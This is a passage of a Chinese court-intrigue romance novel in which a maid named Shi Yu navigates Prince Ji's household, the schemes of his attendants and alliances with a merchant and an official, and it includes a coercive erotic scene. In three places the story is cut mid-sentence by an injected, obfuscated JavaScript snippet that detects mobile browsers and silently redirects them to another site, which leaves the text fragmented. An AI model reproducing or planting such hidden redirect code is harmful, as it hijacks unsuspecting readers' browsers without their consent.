不管怎么说,今晚她得硬着头皮将他衣裳褪尽。 褪去华贵的外袍,清冽的龙涎香随之弥漫开来,无端扰人心神。里面的素白绫缎中衫,以同色丝线暗绣云鹤衔芝纹,烛影摇曳间流转着华丽的光泽,流畅的剪裁顺着宽肩窄腰的轮廓蜿蜒而下,将挺拔劲瘦的身形勾勒得恰如其分,教人血脉喷张。 时毓不敢细看,更不敢深嗅,屏住气息只想快些了事。偏偏这时代还没有纽扣,全凭系带束衣,领口上的系带,本来应该是三秒就能拉开的活扣,不知被哪个该杀千刀的系成了繁复的死结。她解了半天,出了一脑门冷很,指尖都快磨出血来了,那结却越收越紧,纹丝不动。 时间耽搁太久,头顶传来一声不耐的诘问:"怎么回事?" 时毓吓得浑身一颤,指间下意识发力,那两根脆弱的绫缎系带竟然就此断裂,死结顿时化为更顽固的死疙瘩。 这下麻烦了! 时毓本能得觉得不抓紧解开这个死疙瘩,她的小命就要交代在这里,至少,三十个耳光又没跑了! 情急之下,她鬼使神差地踮起脚尖,凑上去用齿尖衔住那团纠缠的绫结。 虞珩只觉得胸口被一对柔软贴上,颈间擦过一股温热,一股似花非蜜的香气扑面而来。 他的心剧烈跳动起来,喉结不自觉一滚,下意识伸手欲将人扣住,将这种令人上瘾的感觉多挽留片刻。却只来得及触到她翩然离去的衣角。 时毓退开后才发现霁王抬起了手臂。 来不及为解决一个死疙瘩而得意,便浑身一僵。 她发现自己的唾液沾湿了他的衣领,方才的举动是何等逾矩! 偷瞥到他阴沉的脸色,她理所当然地以为,那只手抬起来是为了扇飞自己,脸色瞬间惨白如纸。 "噗通"一声跪倒在地,声音止不住地发颤:"殿、殿下饶命!奴婢绝无亵渎之心,只是……只是想解开……" “出去。” 这冷冰冰的喝令,对时毓而言不啻于天籁。 她立即爬起来屁滚尿流地往外跑。 不料下一秒,手腕却被一股力道猛地攥住。 她差一点哭出来——不带这样的,都饶了,怎么又反悔呢? “没说你。” 琳琅当即会意,躬身行礼:“奴婢告退。” 时毓含泪偷偷望去,目光里满是无声的哀求。 可琳琅却始终垂眸,快步退出寝殿,反手将殿门轻轻合拢。 18. 第 18 章 刚踏出寝殿,琳琅脸上的淡然便被一片阴郁取代。 玲珑从廊柱的阴影中缓步走出,轻轻揽住她的肩膀,叹道:“既然不愿让她近殿下的身,当日何必为她说好话,今日又何必亲手将她推到殿下眼前?” 琳琅垂眸掩去眼中的戾气,唇角泛起一丝苦涩:“若殿下当真对她动了心思,岂是我能拦得住的?堵不如疏,趁她自己没想明白殿下的心思,让她稀里糊涂触了殿下的逆鳞.,总好过咱们逆着殿下的心思动手。” 当日琳琅所言,表面是帮时毓求情,其实句句都是在挖坑。 她教时毓要本分,只是为了教她主动远离殿下。 在殿下面前提起时毓饱受徐太太欺压,并不为唤起他的恻隐之心,而是为了提醒他,她早已是徐员外的爱宠。 让时毓挨了耳光还跪在寝殿外不走,也不是为了让她及时认罪,而是为了让她受尽苦楚、心生怨惧,更是为了让殿下看清她的真面目。 而后三番五次强调‘安分守己’,更是为了强化她的恐惧,让她在恐惧中完全忽略殿下独一无二的宽纵和在意。 自中毒后,殿下日渐变得敏感多疑,只要她不似之前那般疯狂热切,殿下必会怀疑她口口声声的爱慕,都是虚情假意。他岂能容忍一个,胆敢将他当作棋子和跳梁的女人? “话虽如此,万一殿下喜欢的就是她的糊涂呢?”玲珑问。 “从前被送到殿下身边的女人,都带着明确的目的,要么是为背后的主人谋权,要么是为刺探殿下的秘密,当然也不乏真心仰慕,想要得到他的宠爱的。无论是何种目的,她们总是想尽办法往他身边凑,任凭殿下如何冷待疏远,也要百般纠缠,直到触怒殿下,一命呜呼。这个时毓大胆而不执著,好像根本不知道自己究竟要什么。会不会就是这份若即若离,绑住了殿下?” 琳琅一时无言以对。 她只能看出殿下对时毓格外不同:时毓犯下欺君之罪本该处死,却只罚了三十个耳光;为确认时毓是否轻浮放荡,他亲自审讯徐员外一家;为时毓在徐家受的欺辱,重重惩治了本欲重用的徐员外;甚至在审讯间隙,惦记着时毓饿肚子…… 桩桩件件,太不寻常。 可殿下究竟看上她哪一点?这份心思又有多深?她实在看不透。 玲珑见她无言以对,知她被这突如其来的变数扰乱了方寸,不由懊恼:“既然殿下三日未召见她,说不定早已将她抛诸脑后。纵使一时记得,只要长久不见,总会淡忘的。你非但不该将她送到殿下跟前,反倒该将她打发到犄角旮旯里,嘱咐管事严加看管,绝不给她出头的机会……” 琳琅皱起眉:“只怕殿下根本忘不了。” 她从袖中掏出一团纸,玲珑接过去对着廊下的灯笼展开,却见是一副小人画。 画中人脸肿成包子,圆滚滚的眼睛泛着潋滟水光,看上去委屈巴巴的,额前几缕碎发不服帖地翘着,像只受惊的猫儿竖起的绒毛。佝偻的身子抖出了几道波纹。 分明是挨完耳光的时毓。 “殿下画的?” 琳琅闭着眼点了点头。 玲珑心中暗暗吃惊。她记得当时的时毓既狼狈又丑陋,怎么看怎么惹人厌,然而在殿下笔下,却是如此滑稽又如此惹人怜爱。任谁都能感觉出来,作画之人,对画中人充满喜爱。 玲珑不由回首望向寝殿。 透过窗纸,隐约可见两道剪影正似交颈鸳鸯般缠绵难分。 看样子,琳琅这次失策了。时毓不仅没有触怒殿下,反而得手了。 她越发诧异:“自中毒后,殿下对女子从兴致缺缺到厌烦透顶,从未允谁如此亲近,这女人究竟使了什么手段?前两日王禄说殿下深夜急召太医,难道……难道他竟恢复了?” 琳琅摇头道:“你我晨昏侍奉,倘若殿下能重新御女,焉有你我不知之理?我自是盼着他好,只是……” “只是他若好了,”玲珑忽然截住话头,警告道:“身边便会簇满名门贵女、绝色佳人,届时子嗣绕膝,个个都重于千钧。到那时,姐姐便再也不是最特别的那个了。” “玲珑!”琳琅抬头狠狠瞪着她,面色严峻地纠正:“在我心里,殿下好,比什么都重要!” 玲珑撇了撇嘴,倔强道:“在我心里,姐姐好,比什么都重要!” 琳琅无奈地戳了戳她的脑门:“你呀,以后再不许说这种话了,连想也不能想。” 玲珑抱着她的胳膊撒了个娇,宽慰道:“既然殿下尚未恢复,这歌姬便是有天大的本事,也翻不出什么花来。不值得姐姐为此糟心。” 她从袖袋里掏出个小巧的油纸包,解开棉线,打开油纸,将一块巴掌大的梅花状点心递到琳琅面前:“今儿王禄跟殿下出门,路过惠山脚下的老字号点心铺子,带了块梅花油酥回来,我没舍得吃,姐姐尝尝。” “什么好东西咱们王府吃不到,至于这么宝贝吗?”琳琅哑然失笑,虽然没有胃口,到底不想拂了她的心意,掰了一只花瓣下来放进嘴里。 入口先是酥松掉渣,而后渗出清甜的桂花蜜香,尾调还带着一丝松子仁的醇厚,很让人惊喜。 她不由得赞不绝口:“确实和御厨做的不太一样,有种独特的味道,里面加了什么?” 玲珑挑起眉峰,得意道:“听说加了惠山清泉熬的桂花蜜,还拌了碾碎的松子仁,是那家铺子传了三代的秘方呢!姐姐既喜欢,快都吃了!” 琳琅笑着又掰了一片花瓣塞进她嘴里:“你也吃!” 姐妹俩分着吃完了一整块点心,时毓仍然没有被赶出来。 方才温情活泼的氛围再次僵冷下来。 玲珑看着琳琅紧蹙的眉头,忍不住又问:“姐姐,你说,除了那些上不得台面的手段心机,她到底有什么特殊的地方,值得殿下上心?” 琳琅暗淡的眼神里也有一丝迷茫:“或许是因为,和那位,身条眉眼有几分相似吧。” “你是说……谢才人?”玲珑随殿下回京时,谢才人已经去了感业寺,虽然感业寺就在京郊,但她们一个不能随便出寺,一个不能随便出府,始终缘锵一面。 她倒是在殿下书房里见过一副画像,画像虽没有署名,但自从听过他和谢才人的故事,她便隐隐猜测画中人便是。 如今回想起来,似乎,确有那么一点相似。 “谢才人终归是嫁了先帝,名义上是殿下的嫂嫂,便是两人之间有情,却也无法相守。若殿下真把这时毓当成了她的替身,只怕……不好处理。” 琳琅转过身,垂首用绢帕细细擦拭指尖的酥油,一下比一下更用力,几乎要撕碎那方软绸。 就这么擦着,忽然轻笑出声:“无妨。这时毓有点小聪明,却不似旁人那般野心勃勃,俨然是个得过且过的小女子。如今她一心想依附于我,只要摸不透殿下的心思,必定不敢冒死攀附。而殿下既然对她动了心思,要的便是毫无保留的忠诚和比他炽烈百倍的情意。只要她给不出,就一定会令他恼羞成怒。或被罚,或被杀。” “姐姐说得是。若她此番触怒殿下丢了性命,倒也省心,倘若只是受些皮肉之苦……”玲珑冷笑道:“我自有办法让她生不如死。届时姐姐再适时施以援手,她自会感恩戴德,从此对姐姐言听计从。” 玲珑望着寝殿上的剪影,毒蛇吐信般开口:“待时机成熟,姐姐只需稍作安排,便能让她……自寻死路。” “或许根本等不到那日。”琳琅轻声道:“只要让她解决寝衣不耐穿的问题,少府监那帮人,自会将她生吞活剥。” * 殿门一关,时毓便被蛮力狠狠掼向身后坚实的胸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690106|187132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膛,另一只铁钳般的手掌同时锁住她的咽喉,仅留了一丝丝呼吸的余地。 她被迫仰着头,惊恐的看着他,只见他那双犹如深海巨渊般深不见底的双眸,翻滚着足以把她烧成齑粉的烈焰。 她下意识想告罪,想解释,想求饶,可对方是执掌天下刑罚的王,是整个时代的主宰,他不给她辩解的权利,那她即便是正义的化身,也只能引颈就戮。 “好一个野心昭昭、谎话连篇的女人。赌咒发誓说再也不出现在孤面前,才三天便按捺不住了。摆脱了旧主仍不满足,你到底想要什么,富贵?权势?还是孤……的爱怜?你是如何蛊惑琳琅,换来这深夜献媚的机会?” 虽作质问,却根本不给她应答之机。 话音未落,锁在颈间的手掌已缓缓上移,铁指扣住下颌强行掰开,拇指粗暴地探入唇齿间,带着惩罚的意味在湿热的口腔里翻搅。 时毓本能地抬手抵挡,唯一自由的那只手顷刻又被他擒住,连同另一只都被反剪身后,整个身子被迫前倾,严丝合缝地贴紧他灼热的躯体。 拇指缠着软舌在口腔中搅动出暧昧啧声,让他眼底火光更盛,呼吸愈发粗重。 时毓察觉下方有异样顶感,正自惊异,舌根骤然剧痛——他竟扯出她的舌,喘着粗气诘问:"就是用这条巧舌蛊惑人心的?" 舌尖被他扯着,她连呜咽都支离破碎,更别提解释了。 涎水不受控地沿着他的手指淋漓滴落,位尊贵的摄政王非但不嫌污秽,反倒变本加厉地玩弄起来,甚至故意拉出缕缕银丝。 此时时毓已隐隐察觉不对,恐惧中生出几分清醒,极力探究他的心思——他这般情状,分明不单是震怒。 而他目光愈发骇人,简直如饿极的凶兽。大约为了给自己找个吃人的理由,居然试图把她打造成十恶不赦的妖魔:"村民说你从巨鸟脊背坠下不死,你到底是何方妖孽?又对孤用了何种妖法?!” 什么巨鸟?时毓蓦得一怔,思绪瞬间飘远,却在下一秒被舌尖的剧痛拽回。 他竟用手掐她的舌尖!他是阎王在人间开的小号吗?! "说!今夜预备如何引诱孤?" 时毓力尽所能地摇头,发丝在挣扎间凌乱飞舞。 可他全然不顾,仿佛被狂怒吞噬了理智,猛地扣住她的后脑向前压去,俯身狠狠咬下。 "呜——!"时毓发出一声模糊的哀鸣。 其实这一咬并不疼,可他狰狞的神情活似要噬人的凶兽,惊得她以为下一刻舌尖就要被利齿切断。于是在失声惊呼的同时,她开始拼命挣扎。 剧烈的扭动让两人瞬间失去平衡。倾倒的刹那,虞珩勾住了旁边垂落的帷帐,纤薄如蝉翼的鲛绡裹住二人,在半空中悬晃一瞬,随即撕裂。 嘭! 时毓庆幸自己摔在了上方,并未吃痛。 转瞬便意识到,摔痛的是本就盛怒的凶兽,岂不是更糟? 她战战兢兢地垂眸,只见他的眼神果然更凶了。可惜帷幔将两个人紧紧缠绕在一起,想跑也跑不掉。 “殿……殿下……”她气都没喘匀,就着急求饶,“奴婢真的不是……” “好算计,好手段。”他冷眼讥诮。 时毓百口莫辩。 “既已露出马脚,你不妨坦荡些,让孤看看你的本事,可值得留你性命。” 时毓大脑空白了一瞬,几乎被他洗脑成功,真以为自己是来勾引他的,无意识地咬了咬唇,差点就要附身亲下去了。 然而目之所及,他墨发散乱,衣襟半敞,紧实的胸膛若隐若现,唇上水光潋滟,颊边绯色漫染,那双凤眸里更是漾着潋滟波光……好一副诱人采撷的艳色! 究竟是谁在勾引谁? 她瞬间就清醒了,意识到自己差点被他钓鱼执法了。 19. 第 19 章 南巡队伍下一站是吴郡,在开拔之前,时毓抽空回了趟徐府。 徐员外豢养府兵的特权被收回,三百府兵遣散殆尽,偌大的徐府一下子空旷了很多。 由于他的仇人太多,府里上上下下都非常恐慌,只怕霁王一行一走,门阀余孽便要上门报复。没了府兵保护,他们就像砧板上的肉,只能任人宰割。 季知节告诉时毓,徐员外不敢在晋陵呆了,他已下令收拾细软,在霁王离开之前,便先离开晋陵,去长安投奔徐太太母族。 “那你们呢?”时毓想也知道,抛家舍业,不可能带上所有人。 季知节叹息道:“他落到这幅田地,自然不肯带着我们这些累赘,徐太太也不会允许,已经让牙婆去牵线了,想来很快就会被廉价卖掉。” 时毓心里一阵难过。 “还是你命好。”季知节满眼羡慕地看着她——如今她已换上宫婢的统一服装,虽然不够华丽,却胜在清爽整洁,衬得整个人端庄优雅,而自己想脱下这身艳丽的华服却不能,余生只剩以色侍人这一条路。 时毓对季知节不仅有着同为女子的怜惜,更爱重其艺术天赋,闻言便道:“知节,虽然我们往日交集不深,但也算共过患难,如今我既得了出路,断不能眼看你独陷泥淖。若你想嫁人过安生日子,我可设法让徐员外归还你的卖身契,助你恢复良民身份,再为你备一份嫁妆。若你不甘于平凡清贫……” “我这样的出身,嫁给平民不会得到珍视,反倒要受一辈子白眼。与其那样窝囊地活着,我宁可再搏一次。”季知节急切地打断她,抓着她的袖子苦苦哀求:"时毓,求求你带我去洛阳吧!那里达官显贵云集,我一定还能有机会!” 时毓目光如炬地审视着她:“但若你和江雪融怀着同样的目的,我必会受你牵连。” “和她一样?”季知节面露困惑:“你是说攀附霁王还是抢你的风头?只怕我既没有这个本事,也没有这样的机会。” 时毓见她似乎不知江雪融是逆党之事,便也不点破,只道:“我不是这个意思。我可以让你去洛阳,但不是跟着我,而是跟着徐员外……” 她抬手止住季知节的疑问,继续说道:“洛阳确实机遇众多,但你只擅舞艺,却不善搭建平台、经营人脉,这方面我也不擅长。而徐员外却是个中好手。唯有跟着他,你才可能获得接近贵人的机会。” 季知节诧异道:“我原以为你既已脱身,定当与他划清界限。听你此言,竟是要助他入京?” “正是。”时毓颔首,“我此行,便是要劝他弃长安,直奔洛阳。” 季知节不解:“他从前对你可不算好,你何必以德报怨?如今你已是殿下近侍,该是他来求你才是,他这个没了特权,又断了腿的残废,还能为你做什么?” 时毓浅浅一笑,未再多言,只道:“结怨不如结缘。多个朋友,多条路。” * 徐氏夫妇都受了杖刑,只能卧床休养。 即便开着窗,室内仍弥漫着浓重的药气与若有似无的血腥味。时毓甫一踏入,便自然地抬袖掩住鼻息。 徐太太受不了被曾经呼来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“哦?莫非你是来感谢徐某托举之恩?” “员外果然精明,一语中的。”时毓径自落座,闲适地整了整裙摆,缓声道:“我今日来,正是为了报答员外的恩情。” 徐员外眯眼冷笑:“如何报答?” “为您铺路搭桥,助你进京东山再起。这样的报答,员外喜欢吗?” 徐员外双眸骤然收缩,肥短的手指死死攥住锦被:“这莫非又是一个鬼把戏,好叫我这身残躯,再为你做一次垫脚石?” 时毓险些笑出声来。 原来他以为,她是‘螳螂捕蝉黄雀在后’的黄雀,这般结果全在她的算计之中。 虽说他落得这般下场,首先是自作孽——连江雪融的底细都未查清便急着献美,而后种种,更多是阴差阳错,倒真不是她处心积虑的设计。 不过,让他继续把她想象成算无遗策的幕后高手,似乎也没什么不好。 “那日在水榭,我曾许诺,员外给我献艺机会,我若成功,便与员外共同进京,相互扶持,并非虚言。若你信我,别去长安了,直接去洛阳吧。等我随霁王銮驾回到洛阳,定能设法给你博得一个官阶。” 徐员外尚未来得及发话,徐太太便忍不住尖声讥讽:“区区一个宫婢,不过在殿下刀下艰难求生,竟敢夸此海口?” 这话又提醒了徐员外,他沉声问:“那首诗究竟是谁所作,你和江雪融是否内外联手,以我为阶梯,接近霁王?你是如何从阶下囚变成了殿下的身边人?” 关于如何从阶下囚变成他的身边人,时毓自己都稀里糊涂的,哪能说得清,因而含含糊糊地敷衍道:“这些问题,在得到殿下允准之前,恕难相告。” 接着神色一正,话锋一转:“您只需知道一点,我现在的身份,足以充当您接近殿下的桥梁。” 随即语气放缓,温言劝勉:“眼下的困厄不过一时的,您有真本事,又曾于社稷有功,此番只是失察之过。只要等个合适的契机,必定能再获殿下赏识。” 徐员外心头猛地一颤,这几日越积越重的阴郁愤懑,忽然被一股热流冲散。 他不得不承认被她说服了,更被她话语中那份笃定的认可所鼓舞了。 他一直是个自负的人,所以才不甘屈居人下,不惜踩着全族尸骨向上爬。就此认输,他是不甘心的。 他也不得不承认,这副美丽的皮囊之下,藏着让他不得不正视的锋芒。 若她当真能为自己谋得一官半职,再偶尔透露那位殿下的心思,他坚信凭着自己的能耐,定能重振门楣,再创辉煌。 “说罢,究竟为何找上我?可是到了殿下身边才发现,他身边人精云集,各种势力盘根错节,凭你一人,根本立不住脚跟?” 时毓喜道:“员外能一眼看破关窍,着实让我心安不少。只有和您这般精明通透的人合作,我心里才踏实!” 自那夜在霁王寝殿留宿后,琳琅对她的态度有了微妙的变化,玲珑则一反常态开始亲近她,更有数不清的内侍官与女官们争相与她结交,她们带来了海量信息。 被动接收了这些信息,时毓才发现,‘国企’一点也不比‘私企’好混。 这里面派系分明,太监和宫女各自有一个阵营,但彼此也有交叉。他们时而相互倾轧,时而联手排挤异己。 目前最令时毓感到不安的消息是:琳琅并不像表面看起来那么善良可亲。 她们说,她对霁王着非同寻常的占有欲,连王妃想见霁王,都要先征得她的同意,而霁王身边很多侍妾,甚至几位出身名门的侧妃,都被她无声无息地磋磨死了。 现在时毓无法分辨这些信息的真伪,也不知该信谁,只觉得处处是杀机。 霁王将她置于这般境地,她却捉摸不透他的心思,根本不知他是靠山还是看客,这才起了寻求外援的念头。 徐员外心机深沉、深谙人心,做人没有底线,应该足以充当他们的对手。 “既然话说到这份儿上,我就直说了,员外欲要东山再起,除我之外已无他途;而我欲在殿下身边立足,于这暗流汹涌的权力中心求得生机,亦需外力襄助。我孑然一身,既无宗族可依,亦无旧故可恃,与其冒险结交目的不纯的新朋,不如选择目标明确的旧友。您说呢?” 徐员外眼中精光乍现,抚掌大笑:“好!好个时毓!老夫当初果真没有看错人!这般谋略气度,他日必化龙腾云!” 笑声渐止,他微微倾身,审视着她:“不过,你如今只是个小小宫婢,怎么就那么有把握,能为我博得官阶?要知道,以霁王的心性,便是天仙来了,都吹不动枕边风。” 时毓哂笑:“员外这想法真是狭隘,难道一个女人想做成事,只能靠身体吗?”她抬手点了点额头,“一个女人首先是个人,与男子一般,有头脑,有谋略,有决断。” 徐员外面色变幻不定,嘴唇嚅动似要反驳。 “罢了,”时毓见他这般情状,随意摆了摆手,“这些道理与您说不透通。” “还是要藏着一手?”徐员外不甘心地问。 时毓挑了挑眉。 徐员外仰头长叹,声音里带着几分认命的颓然:“老夫这半条命都折在你手里,如今除了信你,还能如何?” 时毓笑着摇摇头,“可是员外,我还有一个条件。” 徐太太厉声呵斥:“你少得寸进尺。” 徐员外用胳膊肘捣了她一下,接着看向时毓:“你说!” 时毓道:“季知节想随我去京城,请员外务必带上她,至于其余十姝,愿嫁人的便赠予嫁妆,还她们自由身;不愿的,就一并带去洛阳。” 不必她说,徐员外也有此打算。既然他已决定去洛阳,带上那风姿超群的季知节,必能办大事。 * 离开徐府,时毓马不停蹄地去了郡衙。 杨焕文听闻她要见自己,颇感意外,激动之下,竟亲自迎出去。 但见衙门门口那个高挑的碧绿身影,只觉得破旧的大门都变得鲜艳顺眼起来。 他不由得加快脚步,当距离逐渐缩短,看清她身上所穿的宫装,心里又隐隐失落起来。本想将她邀进值房多说几句的想法也瞬间淡了。 时毓施礼,他在三步开外的地方还礼,客气地说:“看来时姑娘不仅化险为夷,更已身登青云,成了令人不敢轻视的人上人,可喜可贺。” “不过是伺候殿下的奴婢,哪里是什么人上人,大人真会说笑。”时毓莞尔一笑,眼波流转间似有春水潋滟,“不过还是多谢大人。” 杨焕文被这一笑晃得心神俱醉。 她的眉眼、谈吐、性情与举止,竟和他心底描摹过千万遍的理想模样分毫不差。可这份狂喜还没来得及细细品味,就被更深的怅惘漫过——终究是相逢已晚,这轮明月早已高悬他人苍穹。 他勉强压下心头翻涌的涩意,维持着得体的官仪:“不知时姑娘前来,所为何事?” “正是来感谢杨大人的相助之恩。” 杨焕文面露诧异:“相助?姑娘何出此言?本官并未……” “大人不必否认。”时毓朝他走近了几步,含笑将他望着,以只有两个人能听到的声音低声道:“那日我被翊卫带进行宫受审,我对审讯我的中郎将说,自己本是洛阳人,不幸被拐卖到晋陵来,以顾大人行事之缜密,定会多方查证——官府买卖册上的记录、经手牙婆的供词,乃至人贩子的口供,都会一一核实。 后来我得以面见摄政王,足见他已证实了我所言非虚。可官府中人与我素无往来,面对询问,秉着多一事不如少一事的原则,多半会含糊推诿。若非有人暗中提点,顾大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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时毓亦端正还礼,唇角扬起明澈笑意:“洛阳时毓,虽无表字,愿以真心,结交君子。” 杨焕文心头的怅惘与苦涩,在这一刻似乎奇异地消散了。虽无缘将明月私藏,却能这般坦然地沐浴在她的清辉之下,何尝不是另一种圆满? “克贞。”时毓唤着他的名字。 这是个多么亲热的称呼啊,平日里除了至亲,只有至交好友如此唤他,而今却从他心悦之人口中发出……杨焕文耳根微热,轻声应了句:“哎。” “明日我便要随霁王离开晋陵了,有一件事想要麻烦你。” 杨焕文巴不得被她麻烦,忙道:“你说。” “我被‘拐卖’至此时,曾得灵泉乡白鹭村一位林姓寡妇的相助。她家贫却未因财帛害我,我一直想报答这份恩情。可她不受金钱,我想来想去,唯有一个办法。” 杨焕文感叹她如此重情重义,心中越发喜欢,温声问:“什么?” “她有一个儿子名唤狗儿,今年十四岁,一心想从军报国,却没有门路,不知大人能否将他收入军中,给他一个机会?” 这对杨焕文而言不过举手之劳,他当即应道:“此等小事,姑娘……你不必挂心。克贞定会妥善安排。” “有克贞这句话,我便安心了。” 时毓说着伸出右手,掌心向上悬在半空:“来,克贞,请与我击掌。” “击……击掌?”杨焕文怔怔重复。 “对,”她将手又往前递了递,“你且朝我掌心重重一击。” “这……却是为何?” “我依稀记得在某本书上读过,远方有个国度,人们以击掌为誓。你我今日结为朋友,却要匆匆别离,难道不该立下誓约?约定这份情谊不随时光褪色,约定他日定要重逢?” 杨焕文心口一热,离愁与悸动交织着涌上心头,但在她坦荡的目光注视下,他还是缓缓抬起手,带着几分郑重,轻轻迎了上去。 “不对,要重重一击!” 在时毓的要求示范下,他又做了几次,终于,双掌交击发出清脆的声响。 杨焕文不由朗笑出声。他竟真在一个姑娘家身上,找到了朋友的感觉。 21. 第 21 章 自从‘睡’了霁王,时毓在行宫内的地位水涨船高,原本不敢轻易去招惹的少府监,也都纷纷主动来结交,其中就有织染署令王阳。 少府监是大虞朝五监之一,掌管宫廷所属百工技巧,甚至军工相关事务,是支撑宫廷用度,以及民间一些手工业的关键机构,因为职能重要、油水丰厚,其下八个管事均为霁王心腹。 他们不仅深得霁王信赖,还能与外部臣工打交道,权力手段非同一般,故而连琳琅也不敢轻易与之发生冲突。 而织染署隶属少府监,专司天子、太子及百官冠冕组绶的供应,兼管各类织品的采买织造,蜀令王阳曾在霁王生母睿真皇后跟前侍奉,更照料过殿下幼年起居,在霁王心中的分量与琳琅不相上下。 琳琅与王阳素有旧怨,一直欲除之而后快。 此番殿下的贴身衣物出现扒丝开缝,她并未深入调查,便认定是王阳在暗中作祟,意在剪除她的得力臂膀玲珑。 她决心以牙还牙,顺便借刀杀人,除掉备受殿下关注的时毓,于是将此事交给时毓,指望这个不知深浅新人,莽莽撞撞把王阳中饱私囊、以次充好这件事儿捅出来闹大,倒逼霁王出面整顿织染署。 她这点心思,时毓初来乍到可能看不出来,但王阳心里门清。 若时毓在成为霁王‘新宠’之前,贸然去织染署调查这个事儿,不仅没人理她,还会被当成找茬挑刺儿的,死得不明不白。 可如今时毓‘得宠’,王阳主动登门结交,不仅对她知无不言,还把其中的利害纠葛掰扯得明明白白,好卖个人情、结个善缘。 “不瞒姑娘,我们织染署采买的料子确实有问题,但并非近日才出现,只是近两年愈发明显了。” “此事不仅咱家知晓,连殿下也早已知情。” “姑娘可知症结何在?自南方门阀之祸后,江南织造工艺大不如前,产量锐减,能进贡的精品少之又少。这两年虽有恢复,但运河上水匪横行,商队往北运货必遭劫掠,赔本尚属侥幸,最怕人货两失。” “那些水匪皆是门阀余孽,对朝廷恨之入骨。为阻断南绸北运,往往杀一儆百,手段极其狠辣。因此这两年能采买到的绸缎,质量每况愈下。” “咱家此番随驾南巡,正是奉旨解决此事。或将江南尚存的优秀匠人带回洛阳,或令宫中织匠学其技艺。” “然此皆治标之策,关键还待殿下整合各郡兵力剿清水匪,重通商路。所以说,此事既非姑娘之责,也非姑娘所能解决。” 说到此处,他意味深长地压低声音:“将如此棘手之事推给姑娘,不论那人是谁,姑娘都该细思其用心。” “那日有幸观姑娘献艺,深觉姑娘是个坦率单纯之人,实在不忍见姑娘被豺狼吞食,忍不住多嘴提醒,那位掌事,绝非表面所见那般温良,实则是个杀人不见血的狠角色呐。” 时毓听罢方才惊觉,自己先前的想法何等简单。她终日惶惶,唯恐稍有不慎便会掉进琳琅的陷阱,或沦为权力争斗的炮灰。 而今她已身在前往吴郡的龙舟上,视为倚仗的徐员外、可倾诉心事的季知节正往反方向的洛阳而去,能为她出谋划策的杨焕文则留守晋陵。 孤立无援,她只能在霁王身上下功夫。 而这,恰恰是虞珩将她置于如此境地的真正用意。 他要让她用尽全部心思,讨好自己,勾引自己。 * 夜色如墨,运河在月光下泛着幽暗的波光。 霁王所乘的龙舟如一座移动的宫阙静静行驶在水面上,船身灯火倒映在漆黑的河水中,碎成点点金鳞。 整个运河上只有这一条船亮着灯,看似孤舟夜航,实则暗处还有十四艘官船如众星拱月般护卫在侧,两岸更有当地驻军举着火把沿河警戒。 用顾昭的话说,这般阵仗,不怕水匪来犯,就怕他们不来。 “南北通商最重要的水路,便是京口至洛阳这段运河,而盘踞在这段水路上的水匪,分为大小三十多股势力,其中势力最盛的当属朱雀盟。” 顾昭随虞珩立在甲板前缘,遥望着岸上连绵的火把长龙。夜风急劲,吹得二人衣袂翻飞,猎猎作响。 虞珩神色淡然,顾昭则一如往常那般凝肃。 疏通南北商路是虞珩南巡的重要目标之一,而这个担子主要落在顾昭身上,以他凡事力求周全的性子,若虞珩要求做到八分,他定要做到十二分,故而始终绷着心弦,不敢有半分松懈。 哪怕梁久安多次劝他,要让霁王多放松,晚上不要和霁王谈公务。他就不听。 当然霁王也闲不住。这俩人都已适应高强度的工作。用膳时商谈,品茶时议事,连散步消食时都在斟酌政务,就差寝榻之间也要探讨国事了。 很多不明真相的人都深信,霁王至今膝下无子,便是因一心扑在朝政上,无暇他顾。 更有甚者私下议论,说霁王对女子根本无意,那妻妾成群不过是掩人耳目,每夜同榻而眠的实则是顾昭。 巧的是,顾昭年愈二十五,早过了娶妻生子的年纪,至今却连个通房侍妾都没有。 虽说他性情严苛难以相处,门第相当的人家不愿将女儿许配,可他容貌俊朗、家世显赫、位高权重,倾心于他的闺秀不在少数。偏他对谁都冷若冰霜。 这倒也罢了,他竟连秦楼楚馆都从不踏足。 这些风言风语自然传不到二人耳中——没人敢! 于是他们依旧我行我素,在旁人看来,反倒更显得情谊笃深。 如今但逢顾昭深夜求见,侍从们无不退避三舍,既怕听见不该听的,更怕瞧见不该看的。 此刻亦然。 天地苍茫间,唯有亘古的长风,陪伴着这两道身影。 顾昭的声调如古井无波:“据查,朱雀盟现有部众近万,多是五年前战场上幸存的府兵、门阀旧部,以及新近招揽的江湖人士。其首领,系前任江南东道节度副使兼掌书记池彻。” “池彻?”虞珩对这个名字颇为陌生。 他十五岁封往北地康州,对江南人事知之甚少。至率军南下时,就更不关心这里都有什么人了,反正都会成为他的刀下鬼。 不过他熟悉这个姓氏。池氏乃江南门阀之首,五年前煽动四大门阀起兵叛乱的,正是从中书令之位上被迫致仕的池谅。 顾昭继续禀报:“此人是池谅的亲侄子。年仅弱冠便已官拜江南东道节度副使兼掌书记,执掌一道文书典章、祭祀礼乐与教化事宜,是江南道最年轻的正四品大员。所有人都以为他死于余杭城破之日,如今看来,当时应是假死遁逃。” 